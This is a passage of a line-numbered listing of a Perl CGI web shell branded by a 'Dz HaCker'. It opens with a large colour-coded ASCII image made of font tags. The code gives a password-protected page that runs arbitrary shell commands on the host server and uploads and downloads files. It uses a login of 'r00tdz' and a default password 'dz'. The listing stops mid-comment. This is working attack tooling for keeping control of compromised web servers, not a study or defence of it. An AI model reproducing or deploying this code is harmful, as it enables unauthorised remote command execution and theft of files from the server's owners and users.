color=#e14b4a>0</font><font color=#dd4747>0</font><font color=#db4546>1</font><font color=#d54545>1</font><font color=#d54a4a>1</font><font color=#da6666>1</font><font color=#df8281>1</font><font color=#e9a5a5>0</font><font color=#f0cccc>1</font><font color=#f9f3f4>0</font><font color=#f9f9f9>1</font><font color=#f7f7f7>0</font><font color=#f5f5f6>0</font><font color=#f3f3f5>1</font><font color=#f2f2f4>0</font><font color=#f1f1f3>1</font><font color=#f4f4f6>10</font><font color=#f2f2f3>0</font><font color=#ededef>0</font><font color=#ececee>1</font><font color=#f0f0f2>01</font><font color=#f2f2f4>1</font><font color=#f3f3f5>1</font><font color=#f1f1f3>1</font><font color=#f0f0f2>1</font><font color=#eeeef0>0</font><font color=#ededef>1</font><font color=#efeff1>1</font><font color=#f1f1f3>00</font><font color=#f7f7f8>1</font><font color=#535354>1</font><font color=black>1</font><br><font color=#000001>1</font><font color=#132311>1</font><font color=#5eaa57>1</font><font color=#457d40>0</font><font color=#4b8044>1</font><font color=#4f854a>1</font><font color=#51844d>0</font><font color=#4f7c4a>0</font><font color=#53834e>0</font><font color=#558550>1</font><font color=#578752>1</font><font color=#5b8a55>0</font><font color=#5f955c>1</font><font color=#5f965d>1</font><font color=#60945d>1</font><font color=#61965e>1</font><font color=#649961>1</font><font color=#649a62>0</font><font color=#63955e>1</font><font color=#61915d>1</font><font color=#639861>0</font><font color=#649962>11</font><font color=#649761>0</font><font color=#b65e4d>0</font><font color=#dc4444>1</font><font color=#e04344>1</font><font color=#da4344>0</font><font color=#d54242>1</font><font color=#d44342>1</font><font color=#827953>1</font><font color=#5e945b>1</font><font color=#5e975c>0</font><font color=#5e9a5e>0</font><font color=#5c975a>0</font><font color=#589356>1</font><font color=#568f53>0</font><font color=#c2c1ae>0</font><font color=#eb9d9c>1</font><font color=#e97f80>1</font><font color=#ec9998>0</font><font color=#edaeaf>0</font><font color=#dd6d6c>0</font><font color=#ca1e1e>0</font><font color=#d14443>1</font><font color=#f4f5f4>0</font><font color=#f5f6f6>1</font><font color=#f6f6f6>1</font><font color=#f7f7f7>0</font><font color=#f8f8f8>0</font><font color=#f9f9f9>1</font><font color=#f7f7f8>1</font><font color=#f4f4f5>1</font><font color=#f4f4f6>1</font><font color=#f1f1f3>0</font><font color=#eeeef0>0</font><font color=#f0f0f2>1</font><font color=#f6f6f6>1</font><font color=#f4f4f4>0</font><font color=#f1f1f3>10</font><font color=#f5f5f6>1</font><font color=#f6f6f6>1</font><font color=#f5f5f7>01</font><font color=#f1f1f3>0</font><font color=#ececee>1</font><font color=#ededef>01</font><font color=#ececee>11</font><font color=#ebebed>1</font><font color=#f5f5f6>0</font><font color=#535354>1</font><font color=black>1</font><br><font color=#000001>0</font><font color=#0a1c08>1</font><font color=#338c2a>0</font><font color=#235f1c>1</font><font color=#23601c>0</font><font color=#276721>0</font><font color=#24611e>1</font><font color=#1f571b>1</font><font color=#20551a>0</font><font color=#225a1d>1</font><font color=#286220>0</font><font color=#2a6723>1</font><font color=#2d6e28>0</font><font color=#31762e>1</font><font color=#30702b>1</font><font color=#32752e>0</font><font color=#33732e>1</font><font color=#33752f>0</font><font color=#33742f>0</font><font color=#31702d>1</font><font color=#336f2d>1</font><font color=#347530>00</font><font color=#347631>1</font><font color=#476b2d>0</font><font color=#b32615>0</font><font color=#d30d0e>0</font><font color=#d00c0c>0</font><font color=#d10b0b>0</font><font color=#cc0a0b>0</font><font color=#b9130d>1</font><font color=#674d1e>1</font><font color=#30752b>0</font><font color=#2f782d>0</font><font color=#2e742a>1</font><font color=#2b7026>0</font><font color=#296b24>0</font><font color=#b6c6ae>1</font><font color=#fbf5f4>1</font><font color=#fbfbfb>10</font><font color=#f8f9f9>1</font><font color=#f6f1f2>1</font><font color=#e7b3b2>1</font><font color=#dd6d6e>0</font><font color=#f8f8f9>0</font><font color=#f4f5f5>1</font><font color=#f8f7f7>0</font><font color=#f8f7f8>1</font><font color=#f9f9f9>1</font><font color=#f8f8f9>0</font><font color=#f3f3f5>1</font><font color=#f2f2f4>0</font><font color=#f0f0f2>0</font><font color=#eeeef0>100</font><font color=#f2f2f4>1</font><font color=#f0f0f2>1</font><font color=#ededef>0</font><font color=#f0f0f2>0</font><font color=#f2f2f2>1</font><font color=#f4f4f4>1</font><font color=#f2f2f4>1</font><font color=#efeff1>1</font><font color=#ececee>1</font><font color=#e7e7e9>0</font><font color=#e6e6e8>0</font><font color=#e9e9eb>0</font><font color=#eaeaec>01</font><font color=#ebebed>0</font><font color=#f4f4f5>0</font><font color=#525253>1</font><font color=black>0</font><br><font color=black>1</font><font color=#0a1b08>0</font><font color=#2c7b23>1</font><font color=#1e5519>1</font><font color=#1e5418>1</font><font color=#1f551a>0</font><font color=#1f5519>1</font><font color=#1d5317>0</font><font color=#1a4b14>1</font><font color=#1c5016>1</font><font color=#1e5418>1</font><font color=#225b1b>1</font><font color=#24631e>1</font><font color=#276922>1</font><font color=#2a7126>0</font><font color=#2c7629>0</font><font color=#2b7328>1</font><font color=#2c7027>0</font><font color=#276921>0</font><font color=#25641f>0</font><font color=#25651f>1</font><font color=#26661f>1</font><font color=#26651f>0</font><font color=#286c24>0</font><font color=#2b752a>1</font><font color=#397128>0</font><font color=#823813>0</font><font color=#c00b04>0</font><font color=#d30201>0</font><font color=#d10101>1</font><font color=#cb0102>1</font><font color=#c80302>1</font><font color=#a41d0b>1</font><font color=#5f4416>0</font><font color=#396020>1</font><font color=#2c6922>0</font><font color=#266621>1</font><font color=#b7ceb5>0</font><font color=#fcfcfc>1</font><font color=#f8f8f9>0</font><font color=#f6f6f6>0</font><font color=#f6f7f7>0</font><font color=#f6f6f8>0</font><font color=#f3f4f6>0</font><font color=#f3f2f4>0</font><font color=#f4f0ef>1</font><font color=#f1dddd>0</font><font color=#eecaca>1</font><font color=#f4e2e1>1</font><font color=#f9fafa>1</font><font color=#f3f3f5>1</font><font color=#efeff2>0</font><font color=#eeeff0>1</font><font color=#eeeef0>0</font><font color=#f0f0f2>111</font><font color=#eeeef0>1</font><font color=#efeff1>0</font><font color=#ebebed>1</font><font color=#eeeef0>0</font><font color=#f1f1f3>1</font><font color=#f2f2f4>0</font><font color=#ededef>1</font><font color=#e6e6e8>1</font><font color=#e7e7e9>1</font><font color=#e5e5e7>1</font><font color=#e7e7e9>0</font><font color=#e9e9eb>0</font><font color=#ededef>1</font><font color=#ebeaee>0</font><font color=#e9e9eb>0</font><font color=#f4f4f4>0</font><font color=#525253>0</font><font color=black>0</font><br><font color=black>0</font><font color=#081806>0</font><font color=#276d1d>0</font><font color=#1b4d15>0</font><font color=#1a4b13>1</font><font color=#1d5018>1</font><font color=#1a4a13>0</font><font color=#1b4d15>0</font><font color=#1e5318>1</font><font color=#1f5619>0</font><font color=#1f5819>0</font><font color=#205a1b>1</font><font color=#225e1d>1</font><font color=#23621e>0</font><font color=#286922>1</font><font color=#286c23>1</font><font color=#296f25>0</font><font color=#286d25>1</font><font color=#286a23>1</font><font color=#23611d>1</font><font color=#23631d>1</font><font color=#24621e>0</font><font color=#266621>1</font><font color=#286a23>1</font><font color=#296d24>1</font><font color=#2b7328>1</font><font color=#2c7327>1</font><font color=#3f5e20>0</font><font color=#793f15>1</font><font color=#aa1c0a>1</font><font color=#c60704>1</font><font color=#c80101>1</font><font color=#c30101>0</font><font color=#be0101>0</font><font color=#b60a04>0</font><font color=#9d1b09>0</font><font color=#832e10>1</font><font color=#c5776a>1</font><font color=#eba3a2>0</font><font color=#e8afaf>0</font><font color=#e8b4b3>0</font><font color=#e4aeaf>1</font><font color=#e0a1a1>0</font><font color=#dc8b8a>0</font><font color=#db8180>1</font><font color=#da8d8d>1</font><font color=#eab8b8>0</font><font color=#f5e9ea>1</font><font color=#f8f9f9>1</font><font color=#f9f9f9>0</font><font color=#f4f5f6>1</font><font color=#f0f0f2>0</font><font color=#f2f2f4>01</font><font color=#efeff1>0</font><font color=#f0f0f2>01</font><font color=#ececee>0</font><font color=#ededef>1</font><font color=#eeeef0>1</font><font color=#f0f0f2>01</font><font color=#efeff1>1</font><font color=#eaeaed>1</font><font color=#e2e2e6>1</font><font color=#e2e1e6>00</font><font color=#e5e5e9>1</font><font color=#e6e6e8>01</font><font color=#e6e6e9>1</font><font color=#e8e8ea>1</font><font color=#f4f3f5>0</font><font color=#525153>0</font><font color=black>1</font><br><font color=black>0</font><font color=#081605>0</font><font color=#26691c>1</font><font color=#194912>0</font><font color=#1a4c14>0</font><font color=#184814>1</font><font color=#174512>0</font><font color=#174310>0</font><font color=#1c4f16>1</font><font color=#20591a>0</font><font color=#215c1c>1</font><font color=#1f581a>1</font><font color=#225d1d>1</font><font color=#235f1d>1</font><font color=#225e1c>1</font><font color=#23601d>0</font><font color=#24621f>11</font><font color=#24611f>0</font><font color=#225f1d>1</font><font color=#225e1d>1</font><font color=#215d1c>0</font><font color=#205c1b>0</font><font color=#23621d>1</font><font color=#25631f>1</font><font color=#25641f>0</font><font color=#256822>0</font><font color=#276922>1</font><font color=#296c24>0</font><font color=#2f6f25>1</font><font color=#3c6622>0</font><font color=#524816>0</font><font color=#6a3310>1</font><font color=#7f270c>1</font><font color=#99200b>1</font><font color=#a51809>1</font><font color=#a91408>1</font><font color=#c92321>0</font><font color=#d13030>1</font><font color=#d13e3f>1</font><font color=#d65353>0</font><font color=#d56f6f>1</font><font color=#db9192>1</font><font color=#ebc0c2>0</font><font color=#efe0e1>0</font><font color=#efeef0>0</font><font color=#f6f6f7>1</font><font color=#f7f6f7>1</font><font color=#f7f7f7>1</font><font color=#f9f9fa>1</font><font color=#f7f7f8>0</font><font color=#f3f3f5>1</font><font color=#f0f0f2>1</font><font color=#f2f2f4>1</font><font color=#f1f1f3>11</font><font color=#f0f0f3>0</font><font color=#ededef>0</font><font color=#e9e9eb>11</font><font color=#eaeaec>1</font><font color=#e9e9eb>10</font><font color=#e6e6e8>0</font><font color=#e5e5e7>1</font><font color=#e6e5e8>0</font><font color=#e5e5e8>0</font><font color=#e7e7ea>1</font><font color=#e8e8ea>1</font><font color=#e4e4e6>0</font><font color=#e5e5e7>0</font><font color=#e6e6e8>1</font><font color=#f3f3f5>0</font><font color=#525153>1</font><font color=black>1</font><br><font color=#000001>0</font><font color=#081505>0</font><font color=#216216>1</font><font color=#174410>0</font><font color=#15410f>1</font><font color=#16410f>1</font><font color=#174211>0</font><font color=#164110>1</font><font color=#184913>0</font><font color=#1e561a>1</font><font color=#1f581b>0</font><font color=#1f571b>0</font><font color=#1e5519>0</font><font color=#205a1b>1</font><font color=#225f1d>0</font><font color=#245f1e>0</font><font color=#205a1b>1</font><font color=#1e5719>1</font><font color=#1e5418>0</font><font color=#1e571a>1</font><font color=#1e591a>0</font><font color=#225d1c>1</font><font color=#215d1b>1</font><font color=#215d1c>0</font><font color=#215c1c>0</font><font color=#23601d>0</font><font color=#24611e>1</font><font color=#25621f>0</font><font color=#266720>0</font><font color=#286821>1</font><font color=#25631f>0</font><font color=#235f1d>1</font><font color=#286c23>0</font><font color=#296d25>0</font><font color=#276b24>0</font><font color=#276822>1</font><font color=#24621d>1</font><font color=#b3c6b0>1</font><font color=#f8f7f8>0</font><font color=#f7f7f8>0</font><font color=#f7f7f7>0</font><font color=#f2f2f3>0</font><font color=#f2f2f4>1</font><font color=#f2f1f3>0</font><font color=#f0f1f3>1</font><font color=#f3f3f5>0</font><font color=#f4f4f5>1</font><font color=#f1f1f3>1</font><font color=#f4f4f4>0</font><font color=#f6f6f7>1</font><font color=#f3f3f5>1</font><font color=#f2f2f4>0</font><font color=#f1f1f3>0</font><font color=#ececee>1</font><font color=#ebebed>1</font><font color=#f0f0f2>0</font><font color=#ededef>0</font><font color=#e9e9eb>1</font><font color=#e5e5e7>1</font><font color=#e6e6e8>01</font><font color=#e7e7e9>0</font><font color=#eaeaec>01</font><font color=#ebebed>1</font><font color=#eaeaec>0</font><font color=#e8e8ea>1</font><font color=#e6e6e8>1</font><font color=#e7e7e9>1</font><font color=#e4e4e6>01</font><font color=#e3e3e6>1</font><font color=#f2f2f3>1</font><font color=#515052>1</font><font color=black>0</font><br><font color=black>1</font><font color=#051104>0</font><font color=#1a5411>0</font><font color=#133b0d>0</font><font color=#123b0d>1</font><font color=#164110>0</font><font color=#174211>1</font><font color=#174010>0</font><font color=#164410>1</font><font color=#1c4f16>0</font><font color=#1d5318>1</font><font color=#1d5518>0</font><font color=#1e5418>0</font><font color=#1e571a>0</font><font color=#225d1c>0</font><font color=#23601d>1</font><font color=#215e1d>0</font><font color=#1f5719>1</font><font color=#1d4f16>0</font><font color=#1c5016>1</font><font color=#205a1b>1</font><font color=#225c1c>1</font><font color=#23601d>0</font><font color=#23611f>0</font><font color=#215b1b>1</font><font color=#235f1e>0</font><font color=#23611e>1</font><font color=#235f1d>0</font><font color=#25661f>0</font><font color=#21591b>0</font><font color=#225a1c>0</font><font color=#286c24>1</font><font color=#276821>1</font><font color=#266420>0</font><font color=#215b1b>01</font><font color=#215d1b>0</font><font color=#b6c9b5>1</font><font color=#f9f9fa>1</font><font color=#f5f5f6>01</font><font color=#f4f4f5>01</font><font color=#f0f0f2>0</font><font color=#eeeef0>0</font><font color=#f0f0f2>011</font><font color=#eeeef0>0</font><font color=#f0f0f2>0</font><font color=#efeff1>0</font><font color=#eeeef0>0</font><font color=#ececee>1</font><font color=#e7e7e9>1</font><font color=#e6e6e8>1</font><font color=#e9e9eb>0</font><font color=#eaeaec>0</font><font color=#e8e8e9>1</font><font color=#e7e7e9>1</font><font color=#e5e5e7>0</font><font color=#e6e6e8>0</font><font color=#e7e7e9>0</font><font color=#e9e9eb>1</font><font color=#ebebed>0</font><font color=#ececee>1</font><font color=#e8e8ea>11</font><font color=#e9e9eb>0</font><font color=#e7e7ea>1</font><font color=#e5e5e8>10</font><font color=#e5e5e7>1</font><font color=#e1e1e3>1</font><font color=#38383a>1</font><font color=black>1</font><br><font color=#000001>1</font><font color=#040e02>1</font><font color=#12430a>1</font><font color=#0a2906>1</font><font color=#0d2f07>1</font><font color=#12380c>0</font><font color=#153e0e>0</font><font color=#12380c>0</font><font color=#123a0c>1</font><font color=#174210>1</font><font color=#184611>1</font><font color=#194913>1</font><font color=#194713>1</font><font color=#1c4f17>0</font><font color=#1e5317>0</font><font color=#1d5318>0</font><font color=#1f551b>1</font><font color=#1c5016>1</font><font color=#194813>1</font><font color=#164411>0</font><font color=#194713>1</font><font color=#194913>1</font><font color=#1a4c15>0</font><font color=#1c4d16>1</font><font color=#1b4c14>1</font><font color=#1c5117>0</font><font color=#1c5217>1</font><font color=#1b4f16>1</font><font color=#1a4c14>1</font><font color=#1e5419>0</font><font color=#215d1c>1</font><font color=#205b1b>0</font><font color=#1f5719>1</font><font color=#1d5117>0</font><font color=#1b4d16>1</font><font color=#1b4e15>1</font><font color=#1d5418>1</font><font color=#adbfae>1</font><font color=#f5f4f7>1</font><font color=#f4f4f6>0</font><font color=#f3f3f5>0</font><font color=#f2f2f4>0</font><font color=#f1f1f3>1</font><font color=#efeff1>1</font><font color=#eaeaec>0</font><font color=#ececee>1</font><font color=#ededef>1</font><font color=#ecebee>1</font><font color=#ececee>11</font><font color=#eeeef0>1</font><font color=#eaeaec>1</font><font color=#e9e9eb>1</font><font color=#e7e7e9>0</font><font color=#e6e6e8>01</font><font color=#e7e7e9>0</font><font color=#e9e9eb>0</font><font color=#ebebed>1</font><font color=#e7e7e9>1</font><font color=#e5e5e7>0</font><font color=#e6e6e8>0</font><font color=#e5e5e8>0</font><font color=#e4e4e6>0</font><font color=#ebebee>0</font><font color=#ebeaed>1</font><font color=#e8e8ea>1</font><font color=#e4e3e7>0</font><font color=#e1e0e6>1</font><font color=#e3e2e7>1</font><font color=#e5e4e9>1</font><font color=#dddde0>1</font><font color=#737374>0</font><font color=#030303>1</font><font color=black>1</font><br><font color=#010000>0</font><font color=#020a01>0</font><font color=#0b3507>1</font><font color=#072406>0</font><font color=#0a2b06>1</font><font color=#0d3008>0</font><font color=#11380b>0</font><font color=#113a0b>1</font><font color=#15400d>1</font><font color=#16410e>1</font><font color=#16420e>1</font><font color=#14400d>1</font><font color=#143f0e>1</font><font color=#174611>0</font><font color=#194c13>0</font><font color=#1b4f15>0</font><font color=#1e5718>1</font><font color=#1f5718>0</font><font color=#1a4f13>0</font><font color=#1a4b11>0</font><font color=#194b12>0</font><font color=#194a12>0</font><font color=#16430f>001</font><font color=#1c5115>0</font><font color=#1b5115>0</font><font color=#1b5015>1</font><font color=#205a18>1</font><font color=#205a1a>0</font><font color=#1a4d12>1</font><font color=#1a4f14>0</font><font color=#1c5216>0</font><font color=#205919>0</font><font color=#1b5115>0</font><font color=#1c5315>1</font><font color=#1f5a18>0</font><font color=#afc3af>1</font><font color=#f0f0f2>1</font><font color=#efeff1>10</font><font color=#eeeef0>1</font><font color=#efeff1>1</font><font color=#f1f1f3>1</font><font color=#eaeaed>0</font><font color=#ebeaee>0</font><font color=#eaeaed>1</font><font color=#ececed>1</font><font color=#ebebed>0</font><font color=#ececee>1</font><font color=#eeeeef>1</font><font color=#ececee>0</font><font color=#eaeaec>0</font><font color=#e8e8ea>0</font><font color=#e6e6e9>0</font><font color=#e9e9ea>1</font><font color=#eaeaec>1</font><font color=#e9e9eb>0</font><font color=#e8e8ea>0</font><font color=#eaeaeb>1</font><font color=#e3e2e5>1</font><font color=#e3e2e7>0</font><font color=#e4e3e8>0</font><font color=#e6e5e9>10</font><font color=#e6e6e9>1</font><font color=#e2e1e4>1</font><font color=#d9d9db>1</font><font color=#d2d1d5>1</font><font color=#b9b8bb>0</font><font color=#808081>1</font><font color=#2d2d2e>0</font><font color=#020202>0</font><font color=black>10</font><br><font color=black>0</font><font color=#010301>1</font><font color=#020e02>0</font><font color=#010b01>1</font><font color=#020b02>1</font><font color=#030e02>1</font><font color=#051203>1</font><font color=#051403>0</font><font color=#071604>0</font><font color=#061404>1</font><font color=#051304>1</font><font color=#041203>0</font><font color=#051204>0</font><font color=#061504>0</font><font color=#071705>0</font><font color=#091b07>1</font><font color=#091b06>1</font><font color=#0a1d07>0</font><font color=#081906>0</font><font color=#081805>0</font><font color=#0a1b07>0</font><font color=#091a06>0</font><font color=#071705>1</font><font color=#061604>0</font><font color=#081705>1</font><font color=#0a1b07>0</font><font color=#091b07>0</font><font color=#0a1c08>1</font><font color=#0b1f08>0</font><font color=#0a1d08>0</font><font color=#081a06>0</font><font color=#091a05>0</font><font color=#091b07>1</font><font color=#0a1c07>0</font><font color=#091b08>1</font><font color=#0a1c07>0</font><font color=#0a1e08>0</font><font color=#3b413b>0</font><font color=#4d4d4d>0</font><font color=#4c4c4d>1</font><font color=#4b4b4d>00</font><font color=#4d4c4d>0</font><font color=#4d4d4d>1</font><font color=#4b4b4c>0</font><font color=#4a4a4b>0</font><font color=#4c4c4c>0</font><font color=#4c4c4d>1</font><font color=#4b4b4c>100</font><font color=#4c4c4d>1</font><font color=#4c4c4c>1</font><font color=#4c4b4d>00</font><font color=#4c4b4c>1</font><font color=#4b4b4c>0</font><font color=#4c4c4d>1</font><font color=#4b4b4b>0</font><font color=#4b4b4c>0</font><font color=#4a4a4b>1</font><font color=#49494b>0</font><font color=#4a4a4b>00</font><font color=#4a494a>0</font><font color=#4a494b>0</font><font color=#3f3e40>1</font><font color=#2e2e2e>0</font><font color=#1d1d1d>1</font><font color=#0a0a0a>0</font><font color=#010101>1</font><font color=black>0101</font><br>
  235. </pre></font>
  236.  
  237.  
  238.     </td></tr>
  239. </table><pre><br />
  240.  
  241. $;
  242. #'
  243.     print <<END;
  244. <code class="shadow">
  245. Tested ~ <font color="white">$ServerName</font>...<br>
  246. Successfully Connected 2 <font color="white">$ServerName</font>  =) !!<br />
  247. ~Dz HaCker Fr0m Relizane !!~
  248. <code>$Message
  249. END
  250. }
  251.  
  252. #------------------------------------------------------------------------------
  253. # Prints the message that informs the user of a failed login
  254. #------------------------------------------------------------------------------
  255. sub PrintLoginFailedMessage
  256. {
  257.     print <<END;
  258. <code>
  259. <br>login:&nbsp;&nbsp;&nbsp;&nbsp; r00tdz<br />
  260. password:<br>
  261. Login incorrect<br><br>
  262. </code>
  263. END
  264. }
  265.  
  266. #------------------------------------------------------------------------------
  267. # Prints the HTML form for logging in
  268. #------------------------------------------------------------------------------
  269. sub PrintLoginForm
  270. {
  271.     print <<END;
  272. <code>
  273. <form name="f" method="POST" action="$ScriptLocation">
  274. <input type="hidden" name="a" value="login">
  275. login: r00tdz<br>
  276. password:<input class="xdz" type="password" name="p" value="dz" />
  277. <input class="crewdz" type="submit" value="LoG!n">
  278. </form>
  279. </code><br /><br />
  280. END
  281. }
  282.  
  283. #------------------------------------------------------------------------------
  284. # Prints the footer for the HTML Page
  285. #------------------------------------------------------------------------------
  286. sub PrintPageFooter
  287. {
  288.     print "</font></body></html>";
  289. }
  290.  
  291. #------------------------------------------------------------------------------
  292. # Retreives the values of all cookies. The cookies can be accesses using the
  293. # variable $Cookies{''}
  294. #------------------------------------------------------------------------------
  295. sub GetCookies
  296. {
  297.     @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
  298.     foreach $cookie(@httpcookies)
  299.     {
  300.         ($id, $val) = split(/=/, $cookie);
  301.         $Cookies{$id} = $val;
  302.     }
  303. }
  304.  
  305. #------------------------------------------------------------------------------
  306. # Prints the screen when the user logs out
  307. #------------------------------------------------------------------------------
  308. sub PrintLogoutScreen
  309. {
  310.     print "<code>LogOut Successfully ! :).<br><br></code>";
  311. }
  312.  
  313. #------------------------------------------------------------------------------
  314. # Logs out the user and allows the user to login again
  315. #------------------------------------------------------------------------------
  316. sub PerformLogout
  317. {
  318.     print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
  319.     &PrintPageHeader("p");
  320.     &PrintLogoutScreen;
  321.     &PrintLoginScreen;
  322.     &PrintLoginForm;
  323.     &PrintPageFooter;
  324. }
  325.  
  326. #------------------------------------------------------------------------------
  327. # This function is called to login the user. If the password matches, it
  328. # displays a page that allows the user to run commands. If the password doens't
  329. # match or if no password is entered, it displays a form that allows the user
  330. # to login
  331. #------------------------------------------------------------------------------
  332. sub PerformLogin
  333. {
  334.     if($LoginPassword eq $Password) # password matched
  335.     {
  336.         print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
  337.         &PrintPageHeader("c");
  338.         &PrintCommandLineInputForm;
  339.         &PrintPageFooter;
  340.     }
  341.     else # password didn't match
  342.     {
  343.         &PrintPageHeader("p");
  344.         &PrintLoginScreen;
  345.         if($LoginPassword ne "") # some password was entered
  346.         {
  347.             &PrintLoginFailedMessage;
  348.         }
  349.         &PrintLoginForm;
  350.         &PrintPageFooter;
  351.     }
  352. }
  353.  
  354. #------------------------------------------------------------------------------
  355. # Prints the HTML form that allows the user to enter commands
  356. #------------------------------------------------------------------------------
  357. sub PrintCommandLineInputForm
  358. {
  359.     $Prompt = $WinNT ? "$CurrentDir> " : "[r00tdz\@<font color=white>$ServerName</font> $CurrentDir]\$ ";
  360.     print <<END;
  361. <code>
  362. <form name="f" method="POST" action="$ScriptLocation">
  363. <input type="hidden" name="a" value="command">
  364. <input type="hidden" name="d" value="$CurrentDir">
  365. $Prompt
  366. <input type="text" name="c">
  367. <input class="crewdz" type="submit" value="Execute">
  368. </form>
  369. </code>
  370. END
  371.  
  372. }
  373.  
  374. #------------------------------------------------------------------------------
  375. # Prints the HTML form that allows the user to download files
  376. #------------------------------------------------------------------------------
  377. sub PrintFileDownloadForm
  378. {
  379.     $Prompt = $WinNT ? "$CurrentDir> " : "[r00tdz\@<font color=white>$ServerName</font> $CurrentDir]\$ ";
  380.     print <<END;
  381. <code>
  382. <form name="f" method="POST" action="$ScriptLocation">
  383. <input type="hidden" name="d" value="$CurrentDir">
  384. <input type="hidden" name="a" value="download">
  385. $Prompt download<br><br>
  386. Filename: <input type="text" name="f" size="35"><br><br>
  387. Download: <input class="crewdz" type="submit" value="BeG!n">
  388. </form>
  389. </code>
  390. END
  391. }
  392.  
  393. #------------------------------------------------------------------------------
  394. # Prints the HTML form that allows the user to upload files
  395. #------------------------------------------------------------------------------
  396. sub PrintFileUploadForm
  397. {
  398.     $Prompt = $WinNT ? "$CurrentDir> " : "[r00tdz\@<font color=white>$ServerName</font> $CurrentDir]\$ ";
  399.     print <<END;
  400. <code>
  401. <form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
  402. $Prompt upload<br><br>
  403. Filename: <input type="file" name="f" size="35"><br><br>
  404. Options: &nbsp;<input type="checkbox" name="o" value="overwrite">
  405. Overwrite if it Exists<br><br>
  406. Upload:&nbsp;&nbsp;&nbsp;<input class="crewdz" type="submit" value="BeG!n">
  407. <input type="hidden" name="d" value="$CurrentDir">
  408. <input type="hidden" name="a" value="upload">
  409. </form>
  410. </code>
  411. END
  412. }
  413.  
  414. #------------------------------------------------------------------------------
  415. # This function is called when the timeout for a command expires. We need to
  416. # terminate the script immediately. This function is valid only on Unix. It is
  417. # never called when the script is running on NT.
  418. #------------------------------------------------------------------------------
  419. sub CommandTimeout
  420. {
  421.     if(!$WinNT)
  422.     {
  423.         alarm(0);
  424.         print <<END;
  425. </xmp>
  426. <code>
  427. Command exceeded maximum time of $CommandTimeoutDuration second(s).
  428. <br>Killed it!
  429. <code>
  430. END
  431.         &PrintCommandLineInputForm;
  432.         &PrintPageFooter;
  433.         exit;
  434.     }
  435. }
  436.  
  437. #------------------------------------------------------------------------------
  438. # This function is called to execute commands. It displays the output of the
  439. # command and allows the user to enter another command. The change directory
  440. # command is handled differently. In this case, the new directory is stored in
  441. # an internal variable and is used each time a command has to be executed. The
  442. # output of the change directory command is not displayed to the users
  443. # therefore error messages cannot be displayed.
  444. #------------------------------------------------------------------------------
  445. sub ExecuteCommand
  446. {
  447.     if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
  448.     {
  449.         # we change the directory internally. The output of the
  450.         # command is not displayed.
  451.  
  452.         $OldDir = $CurrentDir;
  453.         $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
  454.         chop($CurrentDir = `$Command`);
  455.         &PrintPageHeader("c");
  456.         $Prompt = $WinNT ? "$OldDir> " : "[r00tdz\@<font color=white>$ServerName</font> $OldDir]\$ ";
  457.         print "<code>$Prompt $RunCommand</code>";
  458.     }
  459.     else # some other command, display the output
  460.     {
  461.         &PrintPageHeader("c");
  462.         $Prompt = $WinNT ? "$CurrentDir> " : "[r00tdz\@<font color=white>$ServerName</font> $CurrentDir]\$ ";
  463.         print "<code>$Prompt $RunCommand</code><xmp>";
  464.         $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
  465.         if(!$WinNT)
  466.         {
  467.             $SIG{'ALRM'} = \&CommandTimeout;
  468.             alarm($CommandTimeoutDuration);
  469.         }
  470.         if($ShowDynamicOutput) # show output as it is generated
  471.         {
  472.             $|=1;
  473.             $Command .= " |";
  474.             open(CommandOutput, $Command);
  475.             while(<CommandOutput>)
  476.             {
  477.                 $_ =~ s/(\n|\r\n)$//;
  478.                 print "$_\n";
  479.             }
  480.             $|=0;
  481.         }
  482.         else # show output after command completes
  483.         {
  484.             print `$Command`;
  485.         }
  486.         if(!$WinNT)
  487.         {
  488.             alarm(0);
  489.         }
  490.         print "</xmp>";
  491.     }
  492.     &PrintCommandLineInputForm;
  493.     &PrintPageFooter;
  494. }
  495.  
  496. #------------------------------------------------------------------------------
  497. # This function displays the page that contains a link which allows the user
  498. # to download the specified file. The page also contains a auto-refresh
  499. # feature that starts the download automatically.
  500. # Argument 1: Fully qualified filename of the file to be downloaded
  501. #------------------------------------------------------------------------------
  502. sub PrintDownloadLinkPage
  503. {
  504.     local($FileUrl) = @_;
  505.     if(-e $FileUrl) # if the file exists
  506.     {
  507.         # encode the file link so we can send it to the browser
  508.         $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  509.         $DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
  510.         $HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
  511.         &PrintPageHeader("c");
  512.         print <<END;
  513. <code>
  514. Sending File $TransferFile...<br>
  515. If the download does not start automatically,
  516. <a href="$DownloadLink">Click Here</a>.
  517. </code>
  518. END
  519.         &PrintCommandLineInputForm;
  520.         &PrintPageFooter;
  521.     }
  522.     else # file doesn't exist
  523.     {
  524.         &PrintPageHeader("f");
  525.         print "<code>Failed to download $FileUrl: $!</code>";
  526.         &PrintFileDownloadForm;
  527.         &PrintPageFooter;
  528.     }
  529. }
  530.  
  531. #------------------------------------------------------------------------------
  532. # This function reads the specified file from the disk and sends it to the
  533. # browser, so that it can be downloaded by the user.
  534. # Argument 1: Fully qualified pathname of the file to be sent.
  535. #------------------------------------------------------------------------------
  536. sub SendFileToBrowser
  537. {
  538.     local($SendFile) = @_;
  539.     if(open(SENDFILE, $SendFile)) # file opened for reading
  540.     {
  541.         if($WinNT)
  542.         {
  543.             binmode(SENDFILE);
  544.             binmode(STDOUT);
  545.         }
  546.         $FileSize = (stat($SendFile))[7];
  547.         ($Filename = $SendFile) =~  m!([^/^\\]*)$!;
  548.         print "Content-Type: application/x-unknown\n";
  549.         print "Content-Length: $FileSize\n";
  550.         print "Content-Disposition: attachment; filename=$1\n\n";
  551.         print while(<SENDFILE>);
  552.         close(SENDFILE);
  553.     }
  554.     else # failed to open file
  555.     {
  556.         &PrintPageHeader("f");
  557.         print "<code>Failed to download $SendFile: $!</code>";
  558.         &PrintFileDownloadForm;
  559.         &PrintPageFooter;
  560.     }
  561. }
  562.  
  563.  
  564. #------------------------------------------------------------------------------
  565. # This function is called when the user downloads a file. It displays a message
  566. # to the user and provides a link through which the file can be downloaded.
